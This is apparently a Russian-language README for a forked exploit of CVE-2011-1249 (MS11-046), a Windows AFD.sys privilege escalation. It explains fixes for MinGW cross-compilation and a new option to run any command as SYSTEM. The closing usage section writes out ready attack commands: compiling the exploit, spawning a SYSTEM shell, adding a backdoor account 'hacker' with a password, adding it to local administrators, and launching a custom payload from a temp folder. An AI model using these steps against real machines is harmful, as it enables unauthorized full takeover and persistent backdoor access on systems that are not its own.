
CVE-2011-1249 (MS11-046) AFD повышение привилегий — исправление кросскомпиляции MinGW + поддержка пользовательских команд
CVE-2011-1249 / MS11-046 — эскалация привилегий AFD.sys для Windows x86.
Оригинальный эксплойт от Томислава Паскалева (EDB-40564). Этот форк исправляет ошибки кросс-компиляции MinGW и добавляет выполнение пользовательской команды через argv[1].
| # | Изменение | Причина |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → типизированный указатель на функцию (pZwQuerySystemInformation) | Строгая проверка типов MinGW отклоняет вызов нулевого параметра FARPROC с аргументами — компиляция завершается ошибкой too many arguments to function |
| 2 | Массивы securityPatches[] помечены static | Массивы, объявленные внутри блоков if/else, размещаются в стеке и выходят из области видимости; без static указатели становятся висячими |
| 3 | Пользовательская команда через argv[1] | Запуск любой команды от имени SYSTEM вместо жестко заданного cmd.exe |
Компиляция оригинала с MinGW завершается ошибкой:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC — это универсальный указатель на функцию, объявленный с нулевыми параметрами. MinGW применяет строгую проверку типов и отклоняет вызов с аргументами. Исправление заключается в использовании типизированного указателя на функцию с правильной сигнатурой.
Существуют предварительно скомпилированные бинарники (например, SecWiki/windows-kernel-exploits), но они не поддерживают пользовательские команды.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM